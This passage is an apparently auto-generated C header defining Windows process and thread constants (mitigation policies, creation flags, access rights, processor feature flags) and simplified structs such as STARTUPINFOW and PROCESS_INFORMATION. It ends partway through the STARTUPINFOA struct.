#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_USER_CET_SET_CONTEXT_IP_VALIDATION_ALWAYS_ON 0x100000000
|
||||
#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_USER_CET_SET_CONTEXT_IP_VALIDATION_ALWAYS_OFF 0x200000000
|
||||
#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_USER_CET_SET_CONTEXT_IP_VALIDATION_RESERVED 0x300000000
|
||||
#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_BLOCK_NON_CET_BINARIES_MASK 0x3000000000
|
||||
#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_BLOCK_NON_CET_BINARIES_DEFER 0x0
|
||||
#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_BLOCK_NON_CET_BINARIES_ALWAYS_ON 0x1000000000
|
||||
#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_BLOCK_NON_CET_BINARIES_ALWAYS_OFF 0x2000000000
|
||||
#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_BLOCK_NON_CET_BINARIES_RESERVED 0x3000000000
|
||||
#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_XTENDED_CONTROL_FLOW_GUARD_MASK 0x30000000000
|
||||
#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_XTENDED_CONTROL_FLOW_GUARD_DEFER 0x0
|
||||
#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_XTENDED_CONTROL_FLOW_GUARD_ALWAYS_ON 0x10000000000
|
||||
#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_XTENDED_CONTROL_FLOW_GUARD_ALWAYS_OFF 0x20000000000
|
||||
#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_XTENDED_CONTROL_FLOW_GUARD_RESERVED 0x30000000000
|
||||
#define PROC_THREAD_ATTRIBUTE_PARENT_PROCESS 0x20000
|
||||
#define PROC_THREAD_ATTRIBUTE_HANDLE_LIST 0x20002
|
||||
#define PROC_THREAD_ATTRIBUTE_GROUP_AFFINITY 0x30003
|
||||
#define PROC_THREAD_ATTRIBUTE_PREFERRED_NODE 0x20004
|
||||
#define PROC_THREAD_ATTRIBUTE_IDEAL_PROCESSOR 0x30005
|
||||
#define PROC_THREAD_ATTRIBUTE_UMS_THREAD 0x30006
|
||||
#define PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY 0x20007
|
||||
#define PROC_THREAD_ATTRIBUTE_SECURITY_CAPABILITIES 0x20009
|
||||
#define PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL 0x2000b
|
||||
#define PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE 0x20016
|
||||
#define PROC_THREAD_ATTRIBUTE_MACHINE_TYPE 0x20019
|
||||
#define PROC_THREAD_ATTRIBUTE_ENABLE_OPTIONAL_XSTATE_FEATURES 0x3001b
|
||||
#define PROC_THREAD_ATTRIBUTE_WIN32K_FILTER 0x20010
|
||||
#define PROC_THREAD_ATTRIBUTE_JOB_LIST 0x2000d
|
||||
#define PROC_THREAD_ATTRIBUTE_CHILD_PROCESS_POLICY 0x2000e
|
||||
#define PROC_THREAD_ATTRIBUTE_ALL_APPLICATION_PACKAGES_POLICY 0x2000f
|
||||
#define PROC_THREAD_ATTRIBUTE_DESKTOP_APP_POLICY 0x20012
|
||||
#define PROC_THREAD_ATTRIBUTE_MITIGATION_AUDIT_POLICY 0x20018
|
||||
#define PROC_THREAD_ATTRIBUTE_COMPONENT_FILTER 0x2001a
|
||||
#define ProcThreadAttributeParentProcess 0x0
|
||||
#define ProcThreadAttributeHandleList 0x2
|
||||
#define ProcThreadAttributeGroupAffinity 0x3
|
||||
#define ProcThreadAttributePreferredNode 0x4
|
||||
#define ProcThreadAttributeIdealProcessor 0x5
|
||||
#define ProcThreadAttributeUmsThread 0x6
|
||||
#define ProcThreadAttributeMitigationPolicy 0x7
|
||||
#define ProcThreadAttributeSecurityCapabilities 0x9
|
||||
#define ProcThreadAttributeProtectionLevel 0xb
|
||||
#define ProcThreadAttributeJobList 0xd
|
||||
#define ProcThreadAttributeChildProcessPolicy 0xe
|
||||
#define ProcThreadAttributeAllApplicationPackagesPolicy 0xf
|
||||
#define ProcThreadAttributeWin32kFilter 0x10
|
||||
#define ProcThreadAttributeSafeOpenPromptOriginClaim 0x11
|
||||
#define ProcThreadAttributeDesktopAppPolicy 0x12
|
||||
#define ProcThreadAttributePseudoConsole 0x16
|
||||
#define ProcThreadAttributeMitigationAuditPolicy 0x18
|
||||
#define ProcThreadAttributeMachineType 0x19
|
||||
#define ProcThreadAttributeComponentFilter 0x1a
|
||||
#define ProcThreadAttributeEnableOptionalXStateFeatures 0x1b
|
||||
#define ProcThreadAttributeTrustedApp 0x1d
|
||||
#define ProcThreadAttributeSveVectorLength 0x1e
|
||||
#define POWER_REQUEST_CONTEXT_DETAILED_STRING 0x2
|
||||
#define POWER_REQUEST_CONTEXT_SIMPLE_STRING 0x1
|
||||
#define GR_GLOBAL 0xfffffffe
|
||||
#define GR_GDIOBJECTS 0x0
|
||||
#define GR_GDIOBJECTS_PEAK 0x2
|
||||
#define GR_USEROBJECTS 0x1
|
||||
#define GR_USEROBJECTS_PEAK 0x4
|
||||
#define PROCESS_NAME_WIN32 0x0
|
||||
#define PROCESS_NAME_NATIVE 0x1
|
||||
#define PF_FLOATING_POINT_PRECISION_ERRATA 0x0
|
||||
#define PF_FLOATING_POINT_EMULATED 0x1
|
||||
#define PF_COMPARE_EXCHANGE_DOUBLE 0x2
|
||||
#define PF_MMX_INSTRUCTIONS_AVAILABLE 0x3
|
||||
#define PF_PPC_MOVEMEM_64BIT_OK 0x4
|
||||
#define PF_ALPHA_BYTE_INSTRUCTIONS 0x5
|
||||
#define PF_XMMI_INSTRUCTIONS_AVAILABLE 0x6
|
||||
#define PF_3DNOW_INSTRUCTIONS_AVAILABLE 0x7
|
||||
#define PF_RDTSC_INSTRUCTION_AVAILABLE 0x8
|
||||
#define PF_PAE_ENABLED 0x9
|
||||
#define PF_XMMI64_INSTRUCTIONS_AVAILABLE 0xa
|
||||
#define PF_SSE_DAZ_MODE_AVAILABLE 0xb
|
||||
#define PF_NX_ENABLED 0xc
|
||||
#define PF_SSE3_INSTRUCTIONS_AVAILABLE 0xd
|
||||
#define PF_COMPARE_EXCHANGE128 0xe
|
||||
#define PF_COMPARE64_EXCHANGE128 0xf
|
||||
#define PF_CHANNELS_ENABLED 0x10
|
||||
#define PF_XSAVE_ENABLED 0x11
|
||||
#define PF_ARM_VFP_32_REGISTERS_AVAILABLE 0x12
|
||||
#define PF_ARM_NEON_INSTRUCTIONS_AVAILABLE 0x13
|
||||
#define PF_SECOND_LEVEL_ADDRESS_TRANSLATION 0x14
|
||||
#define PF_VIRT_FIRMWARE_ENABLED 0x15
|
||||
#define PF_RDWRFSGSBASE_AVAILABLE 0x16
|
||||
#define PF_FASTFAIL_AVAILABLE 0x17
|
||||
#define PF_ARM_DIVIDE_INSTRUCTION_AVAILABLE 0x18
|
||||
#define PF_ARM_64BIT_LOADSTORE_ATOMIC 0x19
|
||||
#define PF_ARM_EXTERNAL_CACHE_AVAILABLE 0x1a
|
||||
#define PF_ARM_FMAC_INSTRUCTIONS_AVAILABLE 0x1b
|
||||
#define PF_RDRAND_INSTRUCTION_AVAILABLE 0x1c
|
||||
#define PF_ARM_V8_INSTRUCTIONS_AVAILABLE 0x1d
|
||||
#define PF_ARM_V8_CRYPTO_INSTRUCTIONS_AVAILABLE 0x1e
|
||||
#define PF_ARM_V8_CRC32_INSTRUCTIONS_AVAILABLE 0x1f
|
||||
#define PF_RDTSCP_INSTRUCTION_AVAILABLE 0x20
|
||||
#define PF_RDPID_INSTRUCTION_AVAILABLE 0x21
|
||||
#define PF_ARM_V81_ATOMIC_INSTRUCTIONS_AVAILABLE 0x22
|
||||
#define PF_MONITORX_INSTRUCTION_AVAILABLE 0x23
|
||||
#define PF_SSSE3_INSTRUCTIONS_AVAILABLE 0x24
|
||||
#define PF_SSE4_1_INSTRUCTIONS_AVAILABLE 0x25
|
||||
#define PF_SSE4_2_INSTRUCTIONS_AVAILABLE 0x26
|
||||
#define PF_AVX_INSTRUCTIONS_AVAILABLE 0x27
|
||||
#define PF_AVX2_INSTRUCTIONS_AVAILABLE 0x28
|
||||
#define PF_AVX512F_INSTRUCTIONS_AVAILABLE 0x29
|
||||
#define PF_ERMS_AVAILABLE 0x2a
|
||||
#define PF_ARM_V82_DP_INSTRUCTIONS_AVAILABLE 0x2b
|
||||
#define PF_ARM_V83_JSCVT_INSTRUCTIONS_AVAILABLE 0x2c
|
||||
#define PF_ARM_V83_LRCPC_INSTRUCTIONS_AVAILABLE 0x2d
|
||||
#define PF_ARM_SVE_INSTRUCTIONS_AVAILABLE 0x2e
|
||||
#define PF_ARM_SVE2_INSTRUCTIONS_AVAILABLE 0x2f
|
||||
#define PF_ARM_SVE2_1_INSTRUCTIONS_AVAILABLE 0x30
|
||||
#define PF_ARM_SVE_AES_INSTRUCTIONS_AVAILABLE 0x31
|
||||
#define PF_ARM_SVE_PMULL128_INSTRUCTIONS_AVAILABLE 0x32
|
||||
#define PF_ARM_SVE_BITPERM_INSTRUCTIONS_AVAILABLE 0x33
|
||||
#define PF_ARM_SVE_BF16_INSTRUCTIONS_AVAILABLE 0x34
|
||||
#define PF_ARM_SVE_EBF16_INSTRUCTIONS_AVAILABLE 0x35
|
||||
#define PF_ARM_SVE_B16B16_INSTRUCTIONS_AVAILABLE 0x36
|
||||
#define PF_ARM_SVE_SHA3_INSTRUCTIONS_AVAILABLE 0x37
|
||||
#define PF_ARM_SVE_SM4_INSTRUCTIONS_AVAILABLE 0x38
|
||||
#define PF_ARM_SVE_I8MM_INSTRUCTIONS_AVAILABLE 0x39
|
||||
#define PF_ARM_SVE_F32MM_INSTRUCTIONS_AVAILABLE 0x3a
|
||||
#define PF_ARM_SVE_F64MM_INSTRUCTIONS_AVAILABLE 0x3b
|
||||
#define PF_BMI2_INSTRUCTIONS_AVAILABLE 0x3c
|
||||
#define PF_MOVDIR64B_INSTRUCTION_AVAILABLE 0x3d
|
||||
#define PF_ARM_LSE2_AVAILABLE 0x3e
|
||||
#define PF_RESERVED_FEATURE 0x3f
|
||||
#define PF_ARM_SHA3_INSTRUCTIONS_AVAILABLE 0x40
|
||||
#define PF_ARM_SHA512_INSTRUCTIONS_AVAILABLE 0x41
|
||||
#define PF_ARM_V82_I8MM_INSTRUCTIONS_AVAILABLE 0x42
|
||||
#define PF_ARM_V82_FP16_INSTRUCTIONS_AVAILABLE 0x43
|
||||
#define PF_ARM_V86_BF16_INSTRUCTIONS_AVAILABLE 0x44
|
||||
#define PF_ARM_V86_EBF16_INSTRUCTIONS_AVAILABLE 0x45
|
||||
#define PF_ARM_SME_INSTRUCTIONS_AVAILABLE 0x46
|
||||
#define PF_ARM_SME2_INSTRUCTIONS_AVAILABLE 0x47
|
||||
#define PF_ARM_SME2_1_INSTRUCTIONS_AVAILABLE 0x48
|
||||
#define PF_ARM_SME2_2_INSTRUCTIONS_AVAILABLE 0x49
|
||||
#define PF_ARM_SME_AES_INSTRUCTIONS_AVAILABLE 0x4a
|
||||
#define PF_ARM_SME_SBITPERM_INSTRUCTIONS_AVAILABLE 0x4b
|
||||
#define PF_ARM_SME_SF8MM4_INSTRUCTIONS_AVAILABLE 0x4c
|
||||
#define PF_ARM_SME_SF8MM8_INSTRUCTIONS_AVAILABLE 0x4d
|
||||
#define PF_ARM_SME_SF8DP2_INSTRUCTIONS_AVAILABLE 0x4e
|
||||
#define PF_ARM_SME_SF8DP4_INSTRUCTIONS_AVAILABLE 0x4f
|
||||
#define PF_ARM_SME_SF8FMA_INSTRUCTIONS_AVAILABLE 0x50
|
||||
#define PF_ARM_SME_F8F32_INSTRUCTIONS_AVAILABLE 0x51
|
||||
#define PF_ARM_SME_F8F16_INSTRUCTIONS_AVAILABLE 0x52
|
||||
#define PF_ARM_SME_F16F16_INSTRUCTIONS_AVAILABLE 0x53
|
||||
#define PF_ARM_SME_B16B16_INSTRUCTIONS_AVAILABLE 0x54
|
||||
#define PF_ARM_SME_F64F64_INSTRUCTIONS_AVAILABLE 0x55
|
||||
#define PF_ARM_SME_I16I64_INSTRUCTIONS_AVAILABLE 0x56
|
||||
#define PF_ARM_SME_LUTv2_INSTRUCTIONS_AVAILABLE 0x57
|
||||
#define PF_ARM_SME_FA64_INSTRUCTIONS_AVAILABLE 0x58
|
||||
#define UserEnabled 1
|
||||
#define KernelEnabled 2
|
||||
#define Wow64Container 4
|
||||
#define AVRT_PRIORITY_VERYLOW -2
|
||||
#define AVRT_PRIORITY_LOW -1
|
||||
#define AVRT_PRIORITY_NORMAL 0
|
||||
#define AVRT_PRIORITY_HIGH 1
|
||||
#define AVRT_PRIORITY_CRITICAL 2
|
||||
#define PROCESS_DEP_ENABLE 0x1
|
||||
#define PROCESS_DEP_DISABLE_ATL_THUNK_EMULATION 0x2
|
||||
#define PROCESS_DEP_NONE 0x0
|
||||
#define STARTF_FORCEONFEEDBACK 0x40
|
||||
#define STARTF_FORCEOFFFEEDBACK 0x80
|
||||
#define STARTF_PREVENTPINNING 0x2000
|
||||
#define STARTF_RUNFULLSCREEN 0x20
|
||||
#define STARTF_TITLEISAPPID 0x1000
|
||||
#define STARTF_TITLEISLINKNAME 0x800
|
||||
#define STARTF_UNTRUSTEDSOURCE 0x8000
|
||||
#define STARTF_USECOUNTCHARS 0x8
|
||||
#define STARTF_USEFILLATTRIBUTE 0x10
|
||||
#define STARTF_USEHOTKEY 0x200
|
||||
#define STARTF_USEPOSITION 0x4
|
||||
#define STARTF_USESHOWWINDOW 0x1
|
||||
#define STARTF_USESIZE 0x2
|
||||
#define STARTF_USESTDHANDLES 0x100
|
||||
#define EVENT_ALL_ACCESS 0x1f0003
|
||||
#define EVENT_MODIFY_STATE 0x2
|
||||
#define MUTEX_ALL_ACCESS 0x1f0001
|
||||
#define MUTEX_MODIFY_STATE 0x1
|
||||
#define SEMAPHORE_ALL_ACCESS 0x1f0003
|
||||
#define SEMAPHORE_MODIFY_STATE 0x2
|
||||
#define TIMER_ALL_ACCESS 0x1f0003
|
||||
#define TIMER_MODIFY_STATE 0x2
|
||||
#define TIMER_QUERY_STATE 0x1
|
||||
#define SYNCHRONIZATION_DELETE 0x10000
|
||||
#define SYNCHRONIZATION_READ_CONTROL 0x20000
|
||||
#define SYNCHRONIZATION_WRITE_DAC 0x40000
|
||||
#define SYNCHRONIZATION_WRITE_OWNER 0x80000
|
||||
#define SYNCHRONIZATION_SYNCHRONIZE 0x100000
|
||||
#define WT_EXECUTEDEFAULT 0x0
|
||||
#define WT_EXECUTEINIOTHREAD 0x1
|
||||
#define WT_EXECUTEINPERSISTENTTHREAD 0x80
|
||||
#define WT_EXECUTEINWAITTHREAD 0x4
|
||||
#define WT_EXECUTELONGFUNCTION 0x10
|
||||
#define WT_EXECUTEONLYONCE 0x8
|
||||
#define WT_TRANSFER_IMPERSONATION 0x100
|
||||
#define WT_EXECUTEINTIMERTHREAD 0x20
|
||||
#define RTWQ_STANDARD_WORKQUEUE 0
|
||||
#define RTWQ_WINDOW_WORKQUEUE 1
|
||||
#define RTWQ_MULTITHREADED_WORKQUEUE 2
|
||||
#define PROCESS_TERMINATE 0x1
|
||||
#define PROCESS_CREATE_THREAD 0x2
|
||||
#define PROCESS_SET_SESSIONID 0x4
|
||||
#define PROCESS_VM_OPERATION 0x8
|
||||
#define PROCESS_VM_READ 0x10
|
||||
#define PROCESS_VM_WRITE 0x20
|
||||
#define PROCESS_DUP_HANDLE 0x40
|
||||
#define PROCESS_CREATE_PROCESS 0x80
|
||||
#define PROCESS_SET_QUOTA 0x100
|
||||
#define PROCESS_SET_INFORMATION 0x200
|
||||
#define PROCESS_QUERY_INFORMATION 0x400
|
||||
#define PROCESS_SUSPEND_RESUME 0x800
|
||||
#define PROCESS_QUERY_LIMITED_INFORMATION 0x1000
|
||||
#define PROCESS_SET_LIMITED_INFORMATION 0x2000
|
||||
#define PROCESS_ALL_ACCESS 0x1fffff
|
||||
#define PROCESS_DELETE 0x10000
|
||||
#define PROCESS_READ_CONTROL 0x20000
|
||||
#define PROCESS_WRITE_DAC 0x40000
|
||||
#define PROCESS_WRITE_OWNER 0x80000
|
||||
#define PROCESS_SYNCHRONIZE 0x100000
|
||||
#define PROCESS_STANDARD_RIGHTS_REQUIRED 0xf0000
|
||||
#define QUEUE_USER_APC_FLAGS_NONE 0
|
||||
#define QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC 1
|
||||
#define QUEUE_USER_APC_CALLBACK_DATA_CONTEXT 65536
|
||||
#define ProcessDEPPolicy 0
|
||||
#define ProcessASLRPolicy 1
|
||||
#define ProcessDynamicCodePolicy 2
|
||||
#define ProcessStrictHandleCheckPolicy 3
|
||||
#define ProcessSystemCallDisablePolicy 4
|
||||
#define ProcessMitigationOptionsMask 5
|
||||
#define ProcessExtensionPointDisablePolicy 6
|
||||
#define ProcessControlFlowGuardPolicy 7
|
||||
#define ProcessSignaturePolicy 8
|
||||
#define ProcessFontDisablePolicy 9
|
||||
#define ProcessImageLoadPolicy 10
|
||||
#define ProcessSystemCallFilterPolicy 11
|
||||
#define ProcessPayloadRestrictionPolicy 12
|
||||
#define ProcessChildProcessPolicy 13
|
||||
#define ProcessSideChannelIsolationPolicy 14
|
||||
#define ProcessUserShadowStackPolicy 15
|
||||
#define ProcessRedirectionTrustPolicy 16
|
||||
#define ProcessUserPointerAuthPolicy 17
|
||||
#define ProcessSEHOPPolicy 18
|
||||
#define MaxProcessMitigationPolicy 19
|
||||
#define UmsThreadInvalidInfoClass 0
|
||||
#define UmsThreadUserContext 1
|
||||
#define UmsThreadPriority 2
|
||||
#define UmsThreadAffinity 3
|
||||
#define UmsThreadTeb 4
|
||||
#define UmsThreadIsSuspended 5
|
||||
#define UmsThreadIsTerminated 6
|
||||
#define UmsThreadMaxInfoClass 7
|
||||
#define TP_CALLBACK_PRIORITY_HIGH 0
|
||||
#define TP_CALLBACK_PRIORITY_NORMAL 1
|
||||
#define TP_CALLBACK_PRIORITY_LOW 2
|
||||
#define TP_CALLBACK_PRIORITY_INVALID 3
|
||||
#define TP_CALLBACK_PRIORITY_COUNT 3
|
||||
#define THREAD_MODE_BACKGROUND_BEGIN 65536
|
||||
#define THREAD_MODE_BACKGROUND_END 131072
|
||||
#define THREAD_PRIORITY_ABOVE_NORMAL 1
|
||||
#define THREAD_PRIORITY_BELOW_NORMAL -1
|
||||
#define THREAD_PRIORITY_HIGHEST 2
|
||||
#define THREAD_PRIORITY_IDLE -15
|
||||
#define THREAD_PRIORITY_MIN -2
|
||||
#define THREAD_PRIORITY_LOWEST -2
|
||||
#define THREAD_PRIORITY_NORMAL 0
|
||||
#define THREAD_PRIORITY_TIME_CRITICAL 15
|
||||
#define PMETypeFailFastOnCommitFailure 0
|
||||
#define PMETypeMax 1
|
||||
#define PROTECTION_LEVEL_WINTCB_LIGHT 0x0
|
||||
#define PROTECTION_LEVEL_WINDOWS 0x1
|
||||
#define PROTECTION_LEVEL_WINDOWS_LIGHT 0x2
|
||||
#define PROTECTION_LEVEL_ANTIMALWARE_LIGHT 0x3
|
||||
#define PROTECTION_LEVEL_LSA_LIGHT 0x4
|
||||
#define PROTECTION_LEVEL_WINTCB 0x5
|
||||
#define PROTECTION_LEVEL_CODEGEN_LIGHT 0x6
|
||||
#define PROTECTION_LEVEL_AUTHENTICODE 0x7
|
||||
#define PROTECTION_LEVEL_PPL_APP 0x8
|
||||
#define PROTECTION_LEVEL_NONE 0xfffffffe
|
||||
#define THREAD_CREATE_RUN_IMMEDIATELY 0x0
|
||||
#define THREAD_CREATE_SUSPENDED 0x4
|
||||
#define STACK_SIZE_PARAM_IS_A_RESERVATION 0x10000
|
||||
#define DEBUG_PROCESS 0x1
|
||||
#define DEBUG_ONLY_THIS_PROCESS 0x2
|
||||
#define CREATE_SUSPENDED 0x4
|
||||
#define DETACHED_PROCESS 0x8
|
||||
#define CREATE_NEW_CONSOLE 0x10
|
||||
#define NORMAL_PRIORITY_CLASS 0x20
|
||||
#define IDLE_PRIORITY_CLASS 0x40
|
||||
#define HIGH_PRIORITY_CLASS 0x80
|
||||
#define REALTIME_PRIORITY_CLASS 0x100
|
||||
#define CREATE_NEW_PROCESS_GROUP 0x200
|
||||
#define CREATE_UNICODE_ENVIRONMENT 0x400
|
||||
#define CREATE_SEPARATE_WOW_VDM 0x800
|
||||
#define CREATE_SHARED_WOW_VDM 0x1000
|
||||
#define CREATE_FORCEDOS 0x2000
|
||||
#define BELOW_NORMAL_PRIORITY_CLASS 0x4000
|
||||
#define ABOVE_NORMAL_PRIORITY_CLASS 0x8000
|
||||
#define INHERIT_PARENT_AFFINITY 0x10000
|
||||
#define INHERIT_CALLER_PRIORITY 0x20000
|
||||
#define CREATE_PROTECTED_PROCESS 0x40000
|
||||
#define EXTENDED_STARTUPINFO_PRESENT 0x80000
|
||||
#define PROCESS_MODE_BACKGROUND_BEGIN 0x100000
|
||||
#define PROCESS_MODE_BACKGROUND_END 0x200000
|
||||
#define CREATE_SECURE_PROCESS 0x400000
|
||||
#define CREATE_BREAKAWAY_FROM_JOB 0x1000000
|
||||
#define CREATE_PRESERVE_CODE_AUTHZ_LEVEL 0x2000000
|
||||
#define CREATE_DEFAULT_ERROR_MODE 0x4000000
|
||||
#define CREATE_NO_WINDOW 0x8000000
|
||||
#define PROFILE_USER 0x10000000
|
||||
#define PROFILE_KERNEL 0x20000000
|
||||
#define PROFILE_SERVER 0x40000000
|
||||
#define CREATE_IGNORE_SYSTEM_DEFAULT 0x80000000
|
||||
#define PROCESS_AFFINITY_DISABLE_AUTO_UPDATE 0x0
|
||||
#define PROCESS_AFFINITY_ENABLE_AUTO_UPDATE 0x1
|
||||
#define ProcessMemoryPriority 0
|
||||
#define ProcessMemoryExhaustionInfo 1
|
||||
#define ProcessAppMemoryInfo 2
|
||||
#define ProcessInPrivateInfo 3
|
||||
#define ProcessPowerThrottling 4
|
||||
#define ProcessReservedValue1 5
|
||||
#define ProcessTelemetryCoverageInfo 6
|
||||
#define ProcessProtectionLevelInfo 7
|
||||
#define ProcessLeapSecondInfo 8
|
||||
#define ProcessMachineTypeInfo 9
|
||||
#define ProcessOverrideSubsequentPrefetchParameter 10
|
||||
#define ProcessMaxOverridePrefetchParameter 11
|
||||
#define ProcessInformationClassMax 12
|
||||
#define CREATE_EVENT_INITIAL_SET 0x2
|
||||
#define CREATE_EVENT_MANUAL_RESET 0x1
|
||||
#define MEMORY_PRIORITY_VERY_LOW 0x1
|
||||
#define MEMORY_PRIORITY_LOW 0x2
|
||||
#define MEMORY_PRIORITY_MEDIUM 0x3
|
||||
#define MEMORY_PRIORITY_BELOW_NORMAL 0x4
|
||||
#define MEMORY_PRIORITY_NORMAL 0x5
|
||||
#define LOGON_WITH_PROFILE 0x1
|
||||
#define LOGON_NETCREDENTIALS_ONLY 0x2
|
||||
#define THREAD_TERMINATE 0x1
|
||||
#define THREAD_SUSPEND_RESUME 0x2
|
||||
#define THREAD_GET_CONTEXT 0x8
|
||||
#define THREAD_SET_CONTEXT 0x10
|
||||
#define THREAD_SET_INFORMATION 0x20
|
||||
#define THREAD_QUERY_INFORMATION 0x40
|
||||
#define THREAD_SET_THREAD_TOKEN 0x80
|
||||
#define THREAD_IMPERSONATE 0x100
|
||||
#define THREAD_DIRECT_IMPERSONATION 0x200
|
||||
#define THREAD_SET_LIMITED_INFORMATION 0x400
|
||||
#define THREAD_QUERY_LIMITED_INFORMATION 0x800
|
||||
#define THREAD_RESUME 0x1000
|
||||
#define THREAD_ALL_ACCESS 0x1fffff
|
||||
#define THREAD_DELETE 0x10000
|
||||
#define THREAD_READ_CONTROL 0x20000
|
||||
#define THREAD_WRITE_DAC 0x40000
|
||||
#define THREAD_WRITE_OWNER 0x80000
|
||||
#define THREAD_SYNCHRONIZE 0x100000
|
||||
#define THREAD_STANDARD_RIGHTS_REQUIRED 0xf0000
|
||||
#define ThreadMemoryPriority 0
|
||||
#define ThreadAbsoluteCpuPriority 1
|
||||
#define ThreadDynamicCodePolicy 2
|
||||
#define ThreadPowerThrottling 3
|
||||
#define ThreadInformationClassMax 4
|
||||
|
||||
typedef struct _PROCESS_MEMORY_EXHAUSTION_INFO {
|
||||
unsigned short Version;
|
||||
unsigned short Reserved;
|
||||
void* Type;
|
||||
unsigned long long Value;
|
||||
} PROCESS_MEMORY_EXHAUSTION_INFO;
|
||||
|
||||
typedef struct _PROCESS_PROTECTION_LEVEL_INFORMATION {
|
||||
void* ProtectionLevel;
|
||||
} PROCESS_PROTECTION_LEVEL_INFORMATION;
|
||||
|
||||
typedef struct _PROCESS_DYNAMIC_ENFORCED_ADDRESS_RANGE {
|
||||
unsigned long long BaseAddress;
|
||||
unsigned long long Size;
|
||||
unsigned int Flags;
|
||||
} PROCESS_DYNAMIC_ENFORCED_ADDRESS_RANGE;
|
||||
|
||||
typedef struct _PROCESS_BASIC_INFORMATION {
|
||||
int ExitStatus;
|
||||
void* PebBaseAddress;
|
||||
unsigned long long AffinityMask;
|
||||
int BasePriority;
|
||||
unsigned long long UniqueProcessId;
|
||||
unsigned long long InheritedFromUniqueProcessId;
|
||||
} PROCESS_BASIC_INFORMATION;
|
||||
|
||||
typedef struct _LPPROC_THREAD_ATTRIBUTE_LIST {
|
||||
void* Value;
|
||||
} LPPROC_THREAD_ATTRIBUTE_LIST;
|
||||
|
||||
typedef struct _CRITICAL_SECTION_DEBUG {
|
||||
unsigned short Type;
|
||||
unsigned short CreatorBackTraceIndex;
|
||||
void* CriticalSection;
|
||||
void* ProcessLocksList;
|
||||
unsigned int EntryCount;
|
||||
unsigned int ContentionCount;
|
||||
unsigned int Flags;
|
||||
unsigned short CreatorBackTraceIndexHigh;
|
||||
unsigned short Identifier;
|
||||
} CRITICAL_SECTION_DEBUG;
|
||||
|
||||
typedef struct _PTP_CLEANUP_GROUP {
|
||||
long long Value;
|
||||
} PTP_CLEANUP_GROUP;
|
||||
|
||||
typedef struct _REASON_CONTEXT {
|
||||
unsigned int Version;
|
||||
void* Flags;
|
||||
void* Reason;
|
||||
} REASON_CONTEXT;
|
||||
|
||||
typedef struct _PROCESS_POWER_THROTTLING_STATE {
|
||||
unsigned int Version;
|
||||
unsigned int ControlMask;
|
||||
unsigned int StateMask;
|
||||
} PROCESS_POWER_THROTTLING_STATE;
|
||||
|
||||
typedef struct _PROCESS_LEAP_SECOND_INFO {
|
||||
unsigned int Flags;
|
||||
unsigned int Reserved;
|
||||
} PROCESS_LEAP_SECOND_INFO;
|
||||
|
||||
typedef struct _RTL_USER_PROCESS_PARAMETERS {
|
||||
unsigned char Reserved1[16];
|
||||
void* Reserved2[10];
|
||||
void* ImagePathName;
|
||||
void* CommandLine;
|
||||
} RTL_USER_PROCESS_PARAMETERS;
|
||||
|
||||
typedef struct _PTP_WORK {
|
||||
long long Value;
|
||||
} PTP_WORK;
|
||||
|
||||
typedef struct _PROCESS_DYNAMIC_ENFORCED_ADDRESS_RANGES_INFORMATION {
|
||||
unsigned short NumberOfRanges;
|
||||
unsigned short Reserved;
|
||||
unsigned int Reserved2;
|
||||
void* Ranges;
|
||||
} PROCESS_DYNAMIC_ENFORCED_ADDRESS_RANGES_INFORMATION;
|
||||
|
||||
typedef struct _PROCESS_INFORMATION {
|
||||
void* hProcess;
|
||||
void* hThread;
|
||||
unsigned int dwProcessId;
|
||||
unsigned int dwThreadId;
|
||||
} PROCESS_INFORMATION;
|
||||
|
||||
typedef struct _PTP_CALLBACK_INSTANCE {
|
||||
long long Value;
|
||||
} PTP_CALLBACK_INSTANCE;
|
||||
|
||||
typedef struct _STARTUPINFOW {
|
||||
unsigned int cb;
|
||||
void* lpReserved;
|
||||
void* lpDesktop;
|
||||
void* lpTitle;
|
||||
unsigned int dwX;
|
||||
unsigned int dwY;
|
||||
unsigned int dwXSize;
|
||||
unsigned int dwYSize;
|
||||
unsigned int dwXCountChars;
|
||||
unsigned int dwYCountChars;
|
||||
unsigned int dwFillAttribute;
|
||||
void* dwFlags;
|
||||
unsigned short wShowWindow;
|
||||
unsigned short cbReserved2;
|
||||
void* lpReserved2;
|
||||
void* hStdInput;
|
||||
void* hStdOutput;
|
||||
void* hStdError;
|
||||
} STARTUPINFOW;
|
||||
|
||||
typedef struct _APP_MEMORY_INFORMATION {
|
||||
unsigned long long AvailableCommit;
|
||||
unsigned long long PrivateCommitUsage;
|
||||
unsigned long long PeakPrivateCommitUsage;
|
||||
unsigned long long TotalCommitUsage;
|
||||
} APP_MEMORY_INFORMATION;
|
||||
|
||||
typedef struct _PROCESS_DYNAMIC_EH_CONTINUATION_TARGETS_INFORMATION {
|
||||
unsigned short NumberOfTargets;
|
||||
unsigned short Reserved;
|
||||
unsigned int Reserved2;
|
||||
void* Targets;
|
||||
} PROCESS_DYNAMIC_EH_CONTINUATION_TARGETS_INFORMATION;
|
||||
|
||||
typedef struct _IO_COUNTERS {
|
||||
unsigned long long ReadOperationCount;
|
||||
unsigned long long WriteOperationCount;
|
||||
unsigned long long OtherOperationCount;
|
||||
unsigned long long ReadTransferCount;
|
||||
unsigned long long WriteTransferCount;
|
||||
unsigned long long OtherTransferCount;
|
||||
} IO_COUNTERS;
|
||||
|
||||
typedef struct _INIT_ONCE {
|
||||
void* Ptr;
|
||||
} INIT_ONCE;
|
||||
|
||||
typedef struct _STARTUPINFOA {
|
||||
unsigned int cb;
|
||||
void* lpReserved;
|
||||
void* lpDesktop;
|
||||
void* lpTitle;
|
||||
unsigned int dwX;
|
||||
unsigned int dwY;
|
||||
unsigned int dwXSize;
|
||||
unsigned int dwYSize;
|
||||
